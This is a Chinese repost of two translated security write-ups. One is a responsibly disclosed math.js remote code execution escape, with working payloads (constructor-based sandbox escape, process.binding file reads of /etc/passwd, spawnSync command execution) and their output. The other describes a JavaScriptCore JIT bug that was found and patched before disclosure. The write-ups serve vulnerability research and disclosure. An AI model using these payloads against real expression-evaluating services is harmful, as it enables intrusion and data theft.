如何在math.js中进行远程代码执行&漏洞的预防性修补

栏目: JavaScript · 发布时间: 7年前

内容简介:本文简要描述了我们如何发现、利用以及提交远程代码执行(RCE)漏洞,希望这篇文章能够成为查找漏洞的指南,并且我们将一直用负一种负责任的态度报告漏洞。在使用math.js API(尤其是,
原文链接:https://capacitorset.github.io/mathjs/
原文链接:https://www.zerodayinitiative.com/blog/2018/10/31/preventative-patching-produces-pwn2own-participants-panic

前言

本文简要描述了我们如何发现、利用以及提交远程代码执行(RCE)漏洞,希望这篇文章能够成为查找漏洞的指南,并且我们将一直用负一种负责任的态度报告漏洞。

第一步:发现

在使用math.js API( http://api.mathjs.org/v1/?expr=expression-here )时,我们发现它似乎在执行JavaScript代码,但在这过程中有一些限制:

> !calc cos
Result: function

> !calc eval
Result: function

> !calc eval("x => x")
Error: Value expected (char 3)

> !calc eval("console.log")
Error: Undefined symbol console

> !calc eval("return 1")
Result: 1

尤其是, eval 似乎被一个安全版取代了, Function 和 setTimeout/ setInterval 也无效了:

> !calc Function("return 1")
Error: Undefined symbol Function

> !calc setTimeout
Error: Undefined symbol Function

第二步:开发

既然我们发现了执行代码的过程中存在某种限制,我们就得想办法避免。

有四种标准方法可以用来执行中的代码,分别是:

在math.js环境中,我们无法直接访问它们,因为它们没有被定义,或者是因为它们已经使用安全函数重新定义了。但是,我们可以间接访问它们:值得注意的是, Function 可以作为现有函数的构造函数间接访问——这是引导我们发现漏洞的关键线索。

例如, Function("return 1") 可以替换为 Math.floor.constructor("return 1") 。因此,要执行 return 1 ,我们可以使用 Math.floor.constructor("return 1")() 。

我们知道在math.js环境中 cos 被定义为一个函数,所以我们使用了:

> !calc cos.constructor("return 1")()
Result: 1

我们成功了!

这里我们可以使用 require-d 引入一些模块,然后获得对操作系统的访问权限,对吧?但其实没那么快:虽然math.js API服务器在Node.js环境中运行,但不知道怎么回事我们无法使用 require 。

> !calc cos.constructor("return require")()
Error: require is not defined

但是,我们可以使用 process ,它有一些特别棒的功能:

> !calc cos.constructor("return process")()
Result: [object process]

> !calc cos.constructor("return process.env")()
Result: {
  "WEB_MEMORY": "512",
  "MEMORY_AVAILABLE": "512",
  "NEW_RELIC_LOG": "stdout",
  "NEW_RELIC_LICENSE_KEY": "<redacted>",
  "DYNO": "web.1",
  "PAPERTRAIL_API_TOKEN": "<redacted>",
  "PATH": "/app/.heroku/node/bin:/app/.heroku/yarn/bin:bin:node_modules/.bin:/usr/local/bin:/usr/bin:/bin:/app/bin:/app/node_modules/.bin",
  "WEB_CONCURRENCY": "1",
  "PWD": "/app",
  "NODE_ENV": "production",
  "PS1": "\[\033[01;34m\]\w\[\033[00m\] \[\033[01;32m\]$ \[\033[00m\]",
  "SHLVL": "1",
  "HOME": "/app",
  "PORT": "<redacted>",
  "NODE_HOME": "/app/.heroku/node",
  "_": "/app/.heroku/node/bin/node"
}

虽然 process.env 包含了一些有趣的信息,但它实际上并没有什么用:我们需要更深入地探究,并且用上 process.binding ,这将会向操作系统公开Javascript绑定。尽管它们没有被正式记录并且在内部使用,但是可以通过读取Node.js源代码来重建它们的行为。例如,我们可以使用 process.binding("fs") 来读取OS上的任意的一个文件(在具有适当权限的情况下):

为简洁起见,我们将跳过 !calc cos.constructor("code") ,并且相应的,用粘贴的相关JS代码进行替换。

> buffer = Buffer.allocUnsafe(8192); process.binding('fs').read(process.binding('fs').open('/etc/passwd', 0, 0600), buffer, 0, 4096); return buffer
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
<more users...>

我们差不多完成了:现在我们需要找到一种可以打开 shell 、并且可以运行任意命令的方法。如果你有使用Node.js的经验,你可能知道 child_process ,它可以用来生成带有 spawnSync 的进程:我们只需要使用操作系统绑定复制这个功能(请记住我们现在不能使用 require )。

这看起来容易的多了:您只需获取 child_process 的源代码,删除不需要的代码(未使用的函数和错误的处理),缩小它,并通过API运行它。

从这里,我们可以生成任意进程并且运行shell命令:

> return spawnSync('/usr/bin/whoami');
{
  "status": 0,
  "signal": null,
  "output": [null, u15104, ],
  "pid": 100,
  "stdout": u15104,
  "stderr":
}

第三步:提交漏洞

既然我们发现了一个漏洞并尽可能地在利用它,现在我们得想办法如何处理它。由于我们开发它仅仅是出于一种兴趣,并且我们没有任何恶意,所以我们采用了“白帽子”方法,并将其提交给维护者。我们通过他的GitHub上的个人资料中列出的电子邮件地址与他取得了私下联系,并发送了以下的详细信息:

1.漏洞的简短描述(math.js中的远程代码执行缺陷);

2.一个示例攻击,解释它是如何工作的(一份关于为什么 cos.constructor("code")() 可以有效运行,以及 process.bindings 可以带来什么的总结报告);

3.在服务器上实际演示(包括 whoami 和 uname -a 输出);

4.关于修复它的一些建议(例如,使用 vmNode.js 中的模块)。

在两天的时间里,我们与作者一起合作来帮助修复漏洞。值得注意的是,他在 2f45600 中推出一个修复程序后,我们在 3c3517d 中发现了一个类似的解决方法(如果你不能直接使用构造函数,请使用 cos.constructor.apply(null, "code")() )。

时间线

2017年3月26日22:20 CEST:首次成功发掘漏洞

2017年3月29日14:43 CEST:向作者提交漏洞

2017年3月31日12:35 CEST:提交了第二个漏洞(.apply)

2017年3月31日13:52 CEST:两个漏洞都已修复

此漏洞由@CapacitorSet和@denysvitali发现。感谢@josdejong及时修复漏洞,感谢JSFuck发现了这个 [].filter.constructor 。

最后还有一份来自Jos的澄清:math.js并不像之前想象的那样执行JavaScript代码,它有自己的解析器,这个解析器拥有自己的数学导向语法和运算符以及函数,当然这些函数仍然是JavaScript函数。

Pwn2Own的预防性漏洞修补

Pwn2Own的每个条目都让人焦虑的一个原因是每个漏洞都要经过重复检查的过程。即使参赛者成功的展示了对漏洞的利用,如果我们或供应商已经知道漏洞,这也不算是成功。研究人员可能会感到非常紧张,因为无法知道其他人是否已经提交了漏洞。当现在我们开始为 Pwn2Own Tokyo 做准备时,我将公开我发现的一个Bug。

该漏洞存在于 WebKit’s JavaScript implementation , JavaScriptCore 中的JIT引擎中。具体而言,该漏洞位于 Data Flow Graph(DFG) 层中。

在分析该漏洞之前,让我们确保我们可以对 JavaScriptCore 快速上手。 JavaScriptCore 支持的函数有一个优化的变体,称为 Intrinsic ,它有专属于自己的操作,例如, new Uint32Array 最终可能由 NewTypedArray 处理,而 Math.abs(x) 最终可能由 ArithAbs 处理。在 JavaScriptCore's JIT 引擎中,这些函数主要出现在两个文件中: DFGAbstractInterpreterInlines.h 和 DFGClobberize.h 。

顺便提一下,副作用指操作本身之外,可能会发生的任何事情。举一个例子, ArithAbs 函数需要用一个参数并返回该参数的绝对值,就像 Math.abs 。因此,这意味着执行ArithAbs函数中不应该分配数组。有效的操作以几种不同的方式表示,在 DFGAbstractInterpreterInlines.h 中,它们表示为 clobberWorld ,而在 DFGClobberize.h 中,它们分别表示为 read(World) 和 write(Heap) 。我们可以掩饰在这些调用期间发生的事情,并关注它们破坏已知状态的事实,使得JIT引擎在函数执行后不会做出任何假设。

漏洞发现

今年4月我去迪拜OPCDE的途中,我阅读了DFG字节代码解析器并在该 handleTypedArrayConstructor 方法名中碰巧发现了这个:

如何在math.js中进行远程代码执行&漏洞的预防性修补

在这里, blah 是一个非缓冲对象,这激起了我的好奇心,于是我赶紧看了看 DFGAbstractInterpreterInlines.h 以及 DFGClobberize.h ,从而确定 NewTypedArray 函数是否被当作有效代码进行处理。

这是我在 DFGAbstractInterpreterInlines.h 中所看到的:

如何在math.js中进行远程代码执行&漏洞的预防性修补

这是非常符合我的预期。如果 TypedArray 构造函数的参数是 UntypedUse ,那么将会发生 clobberWorld 的调用。

然而,当我看到 DFGClobberize.h 时,有趣的事情发生了:

如何在math.js中进行远程代码执行&漏洞的预防性修补 作为一个对比版本,以下是经过 ArithAbs 处理的 Math.abs ,以及其如何在 DFGClobberize.h 中被处理:

如何在math.js中进行远程代码执行&漏洞的预防性修补

看到不同了吗?通过该 ArithAbs 操作,如果参数 to Math.abs 不是 integer 或 double ,则 clobberize 会将操作标记为有效。 NewTypedArray 假设 DFGClobberize 没有将该操作标记为有效,而是由抽象解释器将其标记为有效。由于操作没有正确建模,我们可以让JIT引擎混淆数组的类型,这样它就可以让我们将指针指的那个值读为浮点数,或者写入可以解释为指针值的浮点数。最后,如果精心设计的假的对象破坏了JIT引擎设置的假设,这种类型的混淆可能导致代码执行。

细心的读者会注意到我没有为此漏洞提供任何CVE或ZDI标识符,这是由于我在本文开头简要提到的冲突。在我发现这个错误的六天后, git commit 36dd2d2b40c5640412f39efcb6fd081a56016a5d 被引入以试图发现 clobberize 和抽象解释器之间不一致的地方。作为被提交的一部分,以下内容添加到 DFGClobberize.h :

如何在math.js中进行远程代码执行&漏洞的预防性修补

奇怪的是,在提交两天后,我们发现已经有研究人员发现并提交了相同的漏洞。

撞洞是普遍存在的现象,特别是当许多人都在寻找类似的领域时。随着 Pwn2Own Tokyo 即将到来,希望每个参与者都可以成功应对比赛之前发布的补丁。

你可以在Twitter上找到我@WanderingGlitch,并跟随团队获取最新的漏洞利用技术和安全补丁。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。

Don't Make Me Think

Don't Make Me Think

Steve Krug / New Riders Press / 18 August, 2005 / $35.00

Five years and more than 100,000 copies after it was first published, it's hard to imagine anyone working in Web design who hasn't read Steve Krug's "instant classic" on Web usability, but people are ......一起来看看 《Don't Make Me Think》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

SHA 加密
SHA 加密

SHA 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具